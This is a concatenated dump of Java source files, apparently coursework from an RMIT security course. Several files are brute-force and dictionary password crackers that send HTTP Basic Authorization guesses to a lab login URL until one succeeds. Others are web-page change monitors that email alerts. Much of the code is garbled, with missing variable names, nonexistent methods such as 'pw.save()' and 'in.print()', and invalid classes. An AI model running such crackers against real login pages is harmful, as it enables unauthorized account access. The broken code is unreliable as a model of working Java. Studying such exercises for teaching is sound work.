			} catch (MalformedURLException e) {
				
				retry=false;
				System.out.println (""Invalid URL"" + e.getMessage());
			} catch (IOException e) {
				
				retry=true;
				connection = null;
				System.out.println (""Error  URL \n"" + e.getMessage());
			}
		}	
		endTime = new Date();
		System.out.print (""Total Time taken :"" + (endTime.getTime() - startTime.getTime())/1000*60 + "" Minutes "");
		System.out.println ((endTime.getTime() - startTime.getTime())/1000 + "" Sec"");
		
		
	return sb.toString();
  }


  public static void main (String args[]) {
	BruteForce myGenerator = new BruteForce();


	


	System.out.println(""Starting seed is : ""+ myGenerator.getSeed() );
	String pageFound = myGenerator.fetchURL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
		
	System.out.println("" ACCESSED ->\n"" + pageFound);
  }

  class MyAuthenticator extends Authenticator {
    protected PasswordAuthentication getPasswordAuthentication()
	{
		String username = getUserId();
		String pass = getPassword();	
		if (pass.equals(""ZZZ""))
		{
			System.out.println(""\nReached the end of combinations. EXITING.\n"");
			System.exit(0);
		}
		if ((tries % 8) == 0 )
		{
			pass = """" + getNextPassword();
		}else 
		{
			pass = """"+ getNextPasswordCase(""""+getSeed(), tries%8);
		}
		tries ++;

	  System.out.println(tries + "" Authenticating with -> "" + pass);

	  return new PasswordAuthentication (username, pass.toCharArray());
	  
    }
  }
	
	public String getPassword()
	{
		return this.password;
	}

	public void setPassword(String password)
	{
		this.password = password;
	}

	
	public String getUserId()
	{
		return this.userId;
	}

	public void setUserId(String userId)
	{
		this.userId = userId;
	}

	public StringBuffer getNextPassword()
	{
		final int STRING_RADIX = 36;
		
		int changeDigit;
		int dig;
		char cdig;
		
		
		changeDigit = 2;
		if (getSeed().charAt(changeDigit) < 'z')
		{
			dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX);
			dig = dig + 1;
			cdig = Character.forDigit(dig, STRING_RADIX);
			seed.setCharAt(changeDigit,cdig);
				
		} else
		{
			
			seed.setCharAt(2,'a');
			
			
			changeDigit = 1;
			if (getSeed().charAt(changeDigit) < 'z')
			{
				dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX);
				dig = dig + 1;
				cdig = Character.forDigit(dig, STRING_RADIX);
				seed.setCharAt(changeDigit,cdig);
			} else
			{
				
				seed.setCharAt(2,'a');
				
				seed.setCharAt(1,'a');
				
				
				changeDigit = 0;
				if (getSeed().charAt(changeDigit) < 'z')
				{
					dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX);
					dig = dig + 1;
					cdig = Character.forDigit(dig, STRING_RADIX);
					seed.setCharAt(changeDigit,cdig);
				}
				
			}
			
		}

		return getSeed();
	
	}

	private StringBuffer getNextPasswordCase(String pwd, int inx)
	{
		StringBuffer casePwd = new StringBuffer(pwd);
		char myChar;
		switch (inx)
		{
			case 1:
				myChar = pwd.charAt(0);
				casePwd.setCharAt(0, Character.toUpperCase(myChar));
				break;
			case 2:
				myChar = pwd.charAt(1);
				casePwd.setCharAt(1, Character.toUpperCase(myChar));
				break;
			case 3:
				myChar = pwd.charAt(2);
				casePwd.setCharAt(2, Character.toUpperCase(myChar));
				break;
			case 4:
				myChar = pwd.charAt(0);
				casePwd.setCharAt(0, Character.toUpperCase(myChar));
				myChar = pwd.charAt(1);
				casePwd.setCharAt(1, Character.toUpperCase(myChar));
				break;
			case 5:
				myChar = pwd.charAt(0);
				casePwd.setCharAt(0, Character.toUpperCase(myChar));
				myChar = pwd.charAt(2);
				casePwd.setCharAt(2, Character.toUpperCase(myChar));
				break;
			case 6:
				myChar = pwd.charAt(1);
				casePwd.setCharAt(1, Character.toUpperCase(myChar));
				myChar = pwd.charAt(2);
				casePwd.setCharAt(2, Character.toUpperCase(myChar));
				break;
			case 7:
				myChar = pwd.charAt(0);
				casePwd.setCharAt(0, Character.toUpperCase(myChar));
				myChar = pwd.charAt(1);
				casePwd.setCharAt(1, Character.toUpperCase(myChar));
				myChar = pwd.charAt(2);
				casePwd.setCharAt(2, Character.toUpperCase(myChar));
				break;
		}
		return(casePwd);
		
	}	
	public StringBuffer getSeed()
	{
		return this.seed;
	}

	public void setSeed(StringBuffer seed)
	{
		this.seed = seed;
	}



}  


"
118.java,"
import java.util.*;
import java.io.*;

public class Result {
    
    private String strURL;
    
    private String strUsername;
    
    private String strPassword;
    
    private Date dtTimeStart;
    
    private Date dtTimeEnd;
    
    private int iAttempts;
    
    
    public Result(String url, String username, String password, Date startDate, Date endDate, int attempts) {
        strURL = url;
        strUsername = username;
        strPassword = password;
        dtTimeStart = startDate;
        dtTimeEnd = endDate;
        iAttempts = attempts;
    }
    
    
    public String toString() {
        String output;
        
        output = ""******************************\n"";
        output += ""Password successfully cracked!\n\n"";
        output += ""URL: "" + strURL + ""\n"";
        output += ""Username: "" + strUsername + ""\n"";
        output += ""Password: "" + strPassword + ""\n"";
        output += "" Time: "" + dtTimeStart.toString() + ""\n"";
        output += ""End Time: "" + dtTimeEnd.toString() + ""\n"";
        output += "" Attempts: "" + iAttempts + ""\n"";
        output += ""******************************\n"";
        
        return output;
    }
    
}
"
258.java,"

import java.awt.*;
import java.util.*;
import java.net.*;
import java.io.*;
import java.*;

 
public class Dictionary 
{

    public static void main(String args[]) throws Exception
    {
       
        String urlPath = null;
        
        if(args.length > 0)
        {
            urlPath = args[0];
            System.out.println(""URL "" + urlPath);
            Dictionary dict = new Dictionary(urlPath);            
        }
        else{
            System.out.println(""Please enter URL at command prompt"");
            System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/"");
        }

        System.exit(0);

    }

    
    public Dictionary(String urlPath) throws Exception
    {
        linkToWeb(urlPath);

    }

    public boolean linkToWeb(String urlPath) throws Exception
    {
        HttpURLConnection connection;
        String word = null;
        String usrName = """";
        String usrNamePwd = null;
        String encoding = null;
        URL  = new URL(urlPath);


        BufferedReader inputStream = new BufferedReader(new FileReader(""words""));
        word  = inputStream.readLine();    

        while(word != null)
        {
            
            if(word.length() <= 3){

                usrNamePwd = usrName +"":""+ word;
                encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());
                connection = (HttpURLConnection).openConnection();
                connection.setRequestProperty(""Authorization"", "" "" + encoding);
            
                System.out.println(word);

                if(connection.getResponseCode() == 200){  
                    System.out.println(""Password Found "" +word); 
                    return true;
                }
                connection.disconnect();
            }
            word  = inputStream.readLine();     

        }

        System.out.println(""Password not found"" );
        return false;

    }



    public class  Base64Converter
    {

     public final char [ ]  alphabet = {
        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
        'w', 'x', 'y', 'z', '0', '1', '2', '3',   
        '4', '5', '6', '7', '8', '9', '+', '/' }; 

     public String  encode ( String  s )
     {
        return encode ( s.getBytes ( ) );
     }

     public String  encode ( byte [ ]  octetString )
     {
        int  bits24;
        int  bits6;

       char [ ]  out
          = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];

       int outIndex = 0;
        int i        = 0;

       while ( ( i + 3 ) <= octetString.length )
        {
          
          bits24  = ( octetString [ i++ ] & 0xFF ) << 16; 
          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  8; 
          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  0;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18; 
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0003F000 ) >> 12; 
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x00000FC0 ) >> 6; 
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0000003F );
          out [ outIndex++ ] = alphabet [ bits6 ]; 
        }

       if ( octetString.length - i == 2 )
        {
          
          bits24  = ( octetString [ i     ] & 0xFF ) << 16; 
          bits24 |= ( octetString [ i + 1 ] & 0xFF ) <<  8;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
          out [ outIndex++ ] = alphabet [ bits6 ]; 
          bits6 = ( bits24 & 0x0003F000 ) >> 12; 
          out [ outIndex++ ] = alphabet [ bits6 ]; 
          bits6 = ( bits24 & 0x00000FC0 ) >> 6; 
          out [ outIndex++ ] = alphabet [ bits6 ];

         
          out [ outIndex++ ] = '='; 
        }
        else if ( octetString.length - i == 1 )
        {
          
          bits24 = ( octetString [ i ] & 0xFF ) << 16;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0003F000 ) >> 12; 
          out [ outIndex++ ] = alphabet [ bits6 ];

         
          out [ outIndex++ ] = '='; 
          out [ outIndex++ ] = '='; 
        }

       return new String ( out );
      }

    }



    
}

"
040.java,"import java.io.*;
import java.util.*;
import java.text.*;


public class Dictionary 
{

    
    
    
    private int verbose = 0;
    private int scanType = CrackingConstants.casedScan;
    private boolean leftThreeCharsOnly = false;
    private boolean fullScan = false;

    
    
    
    
    
    
    
    
    private int passwordsTried = 0;
    private int uniqueLetterSequencesTried = 0;
	
	
	public static void main (String args[])
	{
		int tIni;
		int tFinish;
 		DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);
	    Dictionary  pwForcer = new Dictionary();
	        
	    if(0 < args.length)
	    {
	        for(int i = 0; i < args.length; i++)
	        {
        		if((args[i].indexOf(""-h"") > -1) || (args[i].indexOf(""-H"") > -1))
        		    {
        			System.out.println(""\n-f  -F\tgenerates the three leftmost characters of the passwords as in -t/T \nbut also appends the rest of the string ( duplicate checking is  with this option)."");
        			System.out.println(""\n-s  -S\tonly tests lower  passwords."");
        			System.out.println(""\n-t  -T\tonly  the three leftmost characters of the passwords."");
        			System.out.println(""\n-v  -V\tprints the passwords as    tried.\n"");
        			return;
        		    }	
        		else if((args[i].indexOf(""-s"") > -1) || (args[i].indexOf(""-S"") > -1))
        		    pwForcer.scanType = CrackingConstants.simpleScan;
        		else if((args[i].indexOf(""-v"") > -1)  || (args[i].indexOf(""-V"") > -1)) 
        		    pwForcer.verbose = CrackingConstants.verboseMode2;
        		else if((args[i].indexOf(""-t"") > -1) || (args[i].indexOf(""-T"") > -1))
        		    pwForcer.leftThreeCharsOnly = true;
        		else if((args[i].indexOf(""-f"") > -1) || (args[i].indexOf(""-F"") > -1))
        		    pwForcer.fullScan = true;
		    }
	    }
	        
	    
	    if (pwForcer.fullScan) 
	    	pwForcer.leftThreeCharsOnly = false;
	    
        
	    System.out.println(""\n\n********************************\n"");
		System.out.println(""Starting dictionary run at "" + 
		    longTimestamp.format(new Date()));
		if(0 < args.length)
		{
			String arguments = """";
			for( i =0; i < args.length; i++)
				arguments += args[i] + "" "";
			System.out.println(""\nOptions: "" + arguments + ""\n"");
		}
	    if (pwForcer.leftThreeCharsOnly)
    	    System.out.println(""Only the first three letters of each password   tried."");
		if(pwForcer.scanType == CrackingConstants.simpleScan)
    	    System.out.println(""Only lower  passwords  tried."");
    	else
    	    System.out.println(""Both lower and upper  passwords  tried."");
	    System.out.println(""\n********************************\n"");

	    tIni = System.currentTimeMillis();
	    pwForcer.run();
	    tFinish = System.currentTimeMillis();
	    
        if (CrackingConstants.casedScan == pwForcer.scanType)
        {
	        
    	    
	        
	        
	        System.out.println (""\n\n"" + pwForcer.passwordsTried + "" capitalized passwords were tried."");
	        System.out.println (""That is "" + pwForcer.uniqueLetterSequencesTried  + "" unique passwords were tried."");
	        
	        
        }
        else
        {
    	    System.out.println (""\n\n"" + pwForcer.passwordsTried + "" passwords were tried.\n"");
    	    
	        System.out.println (pwForcer.uniqueLetterSequencesTried  + "" unique passwords were tried."");
        }
        
	    
	    System.out.println(""\n********************************\n"");
		System.out.println(""Finished dictionary run at "" + 
		    longTimestamp.format(new Date()));
		System.out.println(""Time taken: "" + ((tFinish - tIni )/1000) + "" seconds"");
	    System.out.println(""\n********************************"");
	}   

	
    public Dictionary()
    {
    }   

	
    private void run()
    {
        
        
        String fileName = ""/usr/share/lib/dict/words"";
        
        LoginAttemptResults results = new LoginAttemptResults();
        LoginAttempt login = new LoginAttempt();
        
        CasePasswords casedPasswords = new CasePasswords(verbose);
        
        
        try
        {
            boolean found = false;
            
            int lineCount = 0;
            
            String password = null;
            String lastPassword = """";  
            BufferedReader in = new BufferedReader(new FileReader(fileName));
            
            while((null != (password = in.readLine())) && (!found))
            {
                
                lineCount++;
                
		        password = password.trim();
           	    
           	    if("""" != password)
           	    {  
           	        if (leftThreeCharsOnly)
           	        {
                         leftIndex = -1;
                         midIndex = -1;
                         rightIndex = -1;
                        String tail = """";
                        
                        
                        
                        if(3 <= password.length())
                        {
                            if (!fullScan)
                	            
	        	                
    	                        
	    	                    if(lastPassword.equals(password.substring(0, 3).toLowerCase()))
    	                            continue;
        	                    else
            	                    lastPassword = password.substring(0, 3).toLowerCase();
                	        char [] passwordChars = password.toCharArray();
                            leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length);
                            midIndex = CrackingConstants.findIndex(passwordChars[1], 0, CrackingConstants.lowerChars.length);
                            rightIndex = CrackingConstants.findIndex(passwordChars[2], 0, CrackingConstants.lowerChars.length);
                            
                            
                            
	                        if ((3 < password.length() ) && (fullScan))
	                        	tail = password.substring(0, 3);
                        }
                        else if(2 == password.length())
                        {
                            if (!fullScan)
	                            
	                            if(lastPassword.equals(password.substring(0, 2).toLowerCase()))
    	                            continue;
        	                    else
            	                    lastPassword = password.substring(0, 2).toLowerCase();
                            char [] passwordChars = password.toCharArray();
                            leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length);
                            midIndex = CrackingConstants.findIndex(passwordChars[1], 0, CrackingConstants.lowerChars.length);
                        }
                        else if(1 == password.length())
                        {
                            if (!fullScan)
	                            
    	                        if(lastPassword.equals(password.substring(0, 1).toLowerCase()))
        	                        continue;
            	                else
                	                lastPassword = password.substring(0, 1).toLowerCase();
                            char [] passwordChars = password.toCharArray();
                            leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length);
                        }
                        else
                        {
                            System.out.println(""Empty password  from word file."");
                            continue;
                        }
                        
                        
                        if((CrackingConstants.notFound != rightIndex) && ((CrackingConstants.notFound == leftIndex) || (CrackingConstants.notFound == midIndex)))
                            continue;
                        if((CrackingConstants.notFound != midIndex) && (CrackingConstants.notFound == leftIndex))
                            continue;
                      	
                       	results = login.tryPasswords(casedPasswords.createCasedPasswords(leftIndex, midIndex, rightIndex, tail, CrackingConstants.lowerChars, CrackingConstants.upperChars, scanType), passwordsTried);
                        found = results.getSuccess();
                        passwordsTried = results.getPasswordsTried();
                        uniqueLetterSequencesTried++;
           	        }
           	        else
           	        {
                        results = login.tryPasswords(casedPasswords.createCasedPasswords(password, scanType), passwordsTried);
                        found = results.getSuccess();
                        passwordsTried = results.getPasswordsTried();
                        uniqueLetterSequencesTried++;
                    }  
                }  
            }  
            in.print();
            
            
            
            
        }
        catch(FileNotFoundException e)
        {
            System.out.println(""File "" + fileName + "" was not found  was unopenable."");
        }
        catch(IOException e)
        {
            System.out.println(""Error "" + e);
        }
     }   
     
    
} 
"
020.java,"



import java.util.*;
import java.util.zip.*;
import java.net.*;
import java.io.*;
import javax.swing.*;

public class WatchDogTask extends TimerTask
{
    private String  urlHomePage;
    private boolean fileToWrite = true;
    private boolean startup = true;
    private int[]  checksum;
    private int noChangeCount = 0;

    public WatchDogTask()
    {
        super();

        System.out.println(""Programmed by   for INTE1070 Assignment2"");

        urlHomePage = JOptionPane.showInputDialog( ""Enter  URL"" );
    }

    
    public void run()
    {
        noChangeCount = 0;

        try
        {
            URL currURL = new URL( urlHomePage );
            URLConnection conn = currURL.openConnection();

            if (conn instanceof HttpURLConnection)
            {
                HttpURLConnection hconn = (HttpURLConnection) conn;
                hconn.setUseCaches( false );
                hconn.setFollowRedirects( true );

                hconn.connect();
                int    response = hconn.getResponseCode();
                String msg = hconn.getResponseMessage();




                performTask( hconn.getInputStream() );
            }

            String option = JOptionPane.showInputDialog(
                                        ""  want  exit?(y/n)"" );
            if(option != null && (option.equals(""y"") || option.equals(""Y"")))
            {
                cancel();
                System.exit(0);
            }
            else
            {
                startup = false;
                System.err.println( ""  in 24 hours!""  );
            }
        }
        catch( MalformedURLException mue )
        {
            String msg = ""Unable  parse URL !"";
            System.err.println( msg );
        }
        catch( IOException ioe )
        {
            System.err.println( ""I/O Error : "" + ioe );
        }
    }

    private void performTask( InputStream inputStream )
    {
         String fileName = null, arg1 = null, arg2 = null;
         InputStream in = inputStream;

         try
         {
             if( fileToWrite == true )
             {
                 fileName = ""tempFile1.txt"";
                 fileToWrite = false;
             }
             else
             {
                 fileName = ""tempFile2.txt"";
                 fileToWrite = true;
             }

             BufferedReader buf = new BufferedReader(new InputStreamReader(in));
             FileOutputStream fout = new FileOutputStream( fileName );

             String line;
             List   imgList = new ArrayList();

             while( ( line = buf.readLine() ) != null )
             {

                 if((line.indexOf(""src="") != -1) ||
                                             (line.indexOf(""SRC="") != -1))
                 {
                     ParsingImgLink parser = new ParsingImgLink(
                                                 urlHomePage,line);
                     String imgLink = parser.getImgLink();
                     imgList.add( imgLink );

                 }

                 fout.write(line.getBytes());
                 fout.write(""\n"".getBytes());
             }

             buf.read();
             fout.read();

             int[] tempChecksum = new int[imgList.size()];
             for( int i = 0; i < imgList.size(); i ++ )
             {
                 URL imgURL = new URL( (String)imgList.get( i ) );
                 URLConnection imgConn = imgURL.openConnection();

                 if (imgConn instanceof HttpURLConnection)
                 {
                     HttpURLConnection imgHConn = (HttpURLConnection) imgConn;
                     imgHConn.connect();
                     int    response = imgHConn.getResponseCode();
                     String msg = imgHConn.getResponseMessage();

                     System.out.println( ""Downloading image: "" +
                                         ""Server Response : "" + response +
                                         "" Response Message: "" );

                     CheckedInputStream cis = new CheckedInputStream(
                                    imgHConn.getInputStream(), new Adler32());
                     byte[]  tempBuf = new byte[128];
                     while( cis.get(tempBuf) >= 0 )
                     {
                         
                     }

                     tempChecksum[i] = cis.getChecksum().getValue();
                     System.out.println(""Image Checksum = "" + tempChecksum[i] );

                     if( startup == false )
                     {
                         for( int j = 0; j < checksum.length; j ++ )
                         {
                             if( tempChecksum[i] == checksum[j] )
                                noChangeCount ++;
                         }
                     }
                 }
             }

             String change = null;
             if( startup == false )
             {
                 Process p = Runtime.getRuntime().exec(
                                 ""diff tempFile1.txt tempFile2.txt"", null );
                 InputStream inCommand = p.getInputStream();
                 OutputStream out = new FileOutputStream(""diff.txt"",true);
                 int c;
                 while( (c = inCommand.get()) != -1 )
                 {
                     System.out.print( (char)c );
                     out.write( c );
                 }

                 inCommand.get();

                 if( checksum.length > tempChecksum.length )
                 {
                     change = """" + (checksum.length-tempChecksum.length) +
                           "" image(s) has/have been removed from this web "";
                     out.write( change.getBytes() );
                 }
                 else if( checksum.length < tempChecksum.length )
                 {
                     change = """" + (tempChecksum.length-checksum.length) +
                               "" image(s) has/have been added  this web "";
                     out.write( change.getBytes() );
                 }
                 else if( noChangeCount < checksum.length )
                 {
                     change = """" + (checksum.length-noChangeCount) +
                             "" image(s) has/have been changed  this web "";
                     out.write( change.getBytes() );
                 }
                 else
                 {
                     change = ""all images have not been changed"";
                 }

                 File diffFile = new File( ""diff.txt"" );
                 if( diffFile.length() != 0 )
                 {
                     Runtime.getRuntime().exec( ""mail  < diff.txt"" );
                     System.out.println(""A mail has been sent   mail box"");
                 }
             }
             else
             {
                 change = ""Program starts up first time"";
             }

             System.out.println( change );
             checksum = tempChecksum;
         }
         catch( MalformedURLException mue )
         {
             String msg = ""Unable  parse URL !"";
             System.err.println( msg );
         }
         catch( IOException ioe )
         {
             System.err.println( ""I/O Error: "" + ioe );
         }
    }
} 
"
100.java,"


import java.net.*;
import java.io.*;
import java.Runtime;

public class WatchDog{
    public WatchDog(){}


    public void copyTo(){

    }

    public static void main(String[] args) throws Exception {
        WatchDog wd= new WatchDog();
        SendEMail t = new SendEMail();
        PrintWriter pw=null;
        URL url = new URL(""http://www.cs.rmit.edu./students"");
        URLConnection yc = url.openConnection();
        System.out.println(""Connection opened..."");
        BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));
        String inputLine;
        try{
           pw=new PrintWriter(new FileOutputStream(""newHtml""));
           while ((inputLine = in.readLine()) != null){
              
              pw.println(inputLine);
	       }
           pw.save();
        }catch(IOException e){
   		      System.out.println(""Error saving the file"");
        }

       
        Process p = Runtime.getRuntime().exec(""diff -b newHtml oldHtml""); 
        InputStream write = p.getInputStream();
        BufferedReader bf = new BufferedReader (new InputStreamReader(write));
        String line = bf.readLine();
        if (line != null){
            pw=new PrintWriter(new FileOutputStream(""diff""));
              try{
                 while (line != null){
                     pw.println(line);
                     line = bf.readLine();
                 }
                 pw.save();
              }catch(IOException e){
                 System.out.println(""Error saving the file"");
              }

           t.sendMail(""@cs.rmit.edu."",""diff"", ""html content changed"");
        }
        else{
          
           Runtime.getRuntime().exec(""./checkImage.sh"");
           
           try{
              BufferedReader inputStream= new BufferedReader(new FileReader(""picDiff"")); 
              line=inputStream.readLine();
              if (line != null){ 
                   t.sendMail(""@cs.rmit.edu."",""picDiff"", ""picture has changed"");
              }
              inputStream.save();
            }catch(IOException e){
                 System.out.println(""Error saving the file2"");
            }
        }
        in.close();
         Runtime.getRuntime().exec(""cp newHtml oldHtml"");
         Runtime.getRuntime().exec(""rm picDiff"");
        System.out.println(""Connection closed..."");
    }
}"
019.java,"



import java.util.*;
import java.util.Timer;
import java.util.TimerTask;
import javax.swing.*;

public class WatchDog
{
    public static void main ( String args[] )
    {
        String input = JOptionPane.showInputDialog(""Enter time range(seconds)"");
        if(  input == null  )
           System.exit(0);

        int range = Integer.parseInt( input );

        Timer timer = new Timer();
        WatchDogTask watchDogTask = new WatchDogTask();
        timer.schedule( watchDogTask, new Date(), range*1000 );
    }
}  

"
184.java,"

import java.util.Timer;
import java.util.TimerTask;
import java.net.*;
import java.io.*;
import javax.mail.*;
import javax.mail.internet.*;
import java.util.*;

public class WatchDog {
    Timer timer;

    
    public WatchDog() {
        timer = new Timer();
        timer.schedule(new WatchTask(),
	               0,        
	               1*1000);  
    }

    class WatchTask extends TimerTask {

        public void run() {
			try {
				URL rmitUrl = new URL(""http://www.cs.rmit.edu./students/"");
				URLConnection rmitConnection = rmitUrl.openConnection();

        		BufferedReader in = new BufferedReader(
        		                        new InputStreamReader(
        		                        rmitConnection.getInputStream()));
        		String inputLine;

        		BufferedReader bufr = new BufferedReader(
					                      new FileReader (""dest.txt""));
        		String outputLine;

        		while (((inputLine = in.readLine()) != null) && ((outputLine = bufr.readLine()) != null))
        		{
					if (inputLine.compareTo(outputLine) != 0)
					{
						System.out.println(inputLine);
						System.out.println(outputLine);
						System.out.println(""Sending Email Part..."");
					
						postMail(""@cs.rmit.edu."", ""Notice"", inputLine, ""@cs.rmit.edu."");
					}

				}
    
        		in.close();
        		bufr.close();
			}
			catch(Exception e){}

		}
    }

    public static void main(String args[]) throws Exception{
		System.out.println(""About  schedule task."");
			URL phpUrl = new URL(""http://www.cs.rmit.edu./students/"");
			URLConnection urlConnection = phpUrl.openConnection();

        	BufferedReader out = new BufferedReader(
        	                        new InputStreamReader(
        	                        urlConnection.getInputStream()));
        	String record;

        	PrintWriter pw = new PrintWriter (new
        	                     BufferedWriter (new FileWriter (""dest.txt"")));

        	record = out.readLine();
        	while (record != null)
        	{
				pw.println(record);
				record = out.readLine();
			}
			pw.close();

		for (int i = 0; i < 3600; i ++)
		{
			System.out.println(""WatchDog running..."");
			new WatchDog();
		}
		System.out.println(""Task scheduled."");
    }


    public void postMail( String recipients, String subject, String message , String from)
    			throws Exception
	{
	    boolean debug = false;

	     
	     Properties props = new Properties();
	     props.put(""mail.smtp.host"", ""pwd..rmit.edu."");

	    
	    Session session = Session.getDefaultInstance(props, null);
	    session.setDebug(debug);

	    
	    Message msg = new MimeMessage(session);

	    
	    InternetAddress addressFrom = new InternetAddress(from);
	    msg.setFrom(addressFrom);

	    InternetAddress addressTo = new InternetAddress();
        addressTo = new InternetAddress(recipients);
	    msg.setRecipients(Message.RecipientType.NORMAL, addressTo);


	    msg.addHeader(""MyHeaderName"", ""WebPage Changed Notice"");

	    
	    msg.setSubject(subject);
	    msg.setContent(message, ""text/plain"");
	    Transport.send(msg);
	}

}

"
133.java,"
import java.net.*;
import java.io.*;


public class Dictionary
{
   private String myUsername = """";
   private String myPassword = """";
   private String urlToCrack = ""http://sec-crack.cs.rmit.edu./SEC/2"";


   public static void main (String args[])
   {
      Dictionary d = new Dictionary();
   }

   public Dictionary()
   {
      generatePassword();
   }

   

   public void generatePassword()
   {
      try
      {
         BufferedReader  = new BufferedReader(new FileReader(""/usr/share/lib/dict/words""));

         
         {
            myPassword = bf.readLine();
            crackPassword(myPassword);
         } while (myPassword != null);
      }
      catch(IOException e)
      {    }
   }


  

  public void crackPassword(String passwordToCrack)
  {
     String data, dataToEncode, encodedData;

     try
     {
         URL url = new URL (urlToCrack);

         

         dataToEncode = myUsername + "":"" + passwordToCrack;

         

         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());

         URLConnection urlCon = url.openConnection();
         urlCon.setRequestProperty  (""Authorization"", "" "" + encodedData);

         InputStream is = (InputStream)urlCon.getInputStream();
         InputStreamReader isr = new InputStreamReader(is);
         BufferedReader bf  = new BufferedReader (isr);

          
          {
             data = bf.readLine();
             System.out.println(data);
             displayPassword(passwordToCrack);
         } while (data != null);
      }
      catch (IOException e)
      {   }
   }


   public void displayPassword(String foundPassword)
   {
      System.out.println(""\nThe cracked password is : "" + foundPassword);
      System.exit(0);
   }
}


"
107.java,"


import java.io.InputStream;
import java.util.Properties;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;





public class WatchdogPropertyHelper {

	private static Properties testProps;



	public WatchdogPropertyHelper() {
	}


	

	public static String getProperty(String pKey){
		try{
			initProps();
		}
		catch(Exception e){
			System.err.println(""Error init'ing the watchddog Props"");
			e.printStackTrace();
		}
		return testProps.getProperty(pKey);
	}


	private static void initProps() throws Exception{
		if(testProps == null){
			testProps = new Properties();

			InputStream fis =
				WatchdogPropertyHelper.class.getResourceAsStream(""/watchdog.properties"");
			testProps.load(fis);
		}
	}
}
"
234.java,"import java.io.*;
import java.*;
import java.net.*;

public class Dictionary

{
   public static void main (String[] args) throws Exception
   {
      System.out.println(""Congratulations Your password is ""+ checkPassword() );
   }



   private static String checkPassword() throws Exception
   {
      FileReader fRead;
      BufferedReader buf1, buf2;
      String password="" "";

      try
      {
         fRead= new FileReader(""/usr/share/lib/dict/words"");
         buf1 = new BufferedReader(fRead);
         buf2 = new BufferedReader(new FileReader(""/usr/share/lib/dict/words""));

         password= fileRead(buf1, buf2);
         System.out.println(""Password is loop2 CheckPassword:""+password);
         return password;
      }
      catch (FileNotFoundException e)
      {
         System.err.println(""File not found:""+e.getMessage());
         System.exit(1);
      }
      catch (IOException ioe)
      {
         System.err.println(""IOE error: ""+ioe.getMessage());
         System.exit(1);
      }

      return password;
   }




   private static String fileRead(BufferedReader buf1, BufferedReader buf2) throws Exception
   {
      String password = "" "";
      String password1="" "";
      String passwd = null;

      int countLength1=0;
      int countLength2=0;
      int countLength3=0;



      while ((password = buf1.readLine()) != null)
      {

        if (password.length()<= 3)
        {
           if (password.length()==1)
           {
              countLength1++;
           }
          else if (password.length()==2)
           {
              countLength2++;
           }
           else
           {
              countLength3++;
           }
        }
      }
   
      System.out.println(countLength1+""  ""+countLength2+""  ""+countLength3);

       

      String[] wordSize1=new String[countLength1];
      String[] wordSize2=new String[countLength2];
      String[] wordSize3=new String[countLength3];

      int a=0; int b=0; int c=0;
      
      while ((password1 = buf2.readLine()) != null)
      {
        if (password1.length()<= 3)
        {
           if (password1.length()==1)
           {
              wordSize1[a++]=password1;
           }
           else if (password1.length()==2)
           {
              wordSize2[b++]=password1;
           }
           else
           {
              wordSize3[c++]=password1;
           }
         }
      }

      passwd = getPasswordRuns4(wordSize3);
      
      if (passwd==null)
      {  
         passwd = getPasswordRuns3(wordSize1,wordSize2);
         if (passwd==null)
         {  
            passwd = getPasswordRuns2(wordSize1,wordSize2);
            if(passwd==null)
            {
               passwd = getPasswordRuns1(wordSize1);  
            }        
         }
      }
      return passwd;
   }
      
   private static String getPasswordRuns2(String[] wordSize1,String[] wordSize2)  throws Exception
   {
      URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
      HttpURLConnection sec;  
      String password="" ""; 
      String passwd="" "";      
      
     
      for (int i=0; i< wordSize1.length; i++)
      {
        for (int j=0; j< wordSize2.length; j++)
        {
           String userPasswd= "":""+wordSize1[i]+wordSize2[j];
           System.out.println(userPasswd);

           sec = (HttpURLConnection)url.openConnection();
           sec.setRequestProperty(""Authorization"", "" "" + encode(userPasswd));
            
           if (sec.getHeaderField(0).equals(""HTTP/1.1 200 OK""))
           {
              passwd=password;
              return passwd;
           }
           sec.disconnect();  
        }  
     }   
     return null;
   }

   private static String getPasswordRuns3(String[] wordSize1,String[] wordSize2) throws Exception
   {
      URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
      HttpURLConnection sec;  
      String password="" ""; 
      String passwd=null; 
      
      for (int i=0; i< wordSize2.length; i++)
      {
         for (int j=0; j< wordSize1.length; j++)
         {
            password= wordSize2[i]+wordSize1[j];
            String userPasswd= "":""+password;
            sec = (HttpURLConnection)url.openConnection();
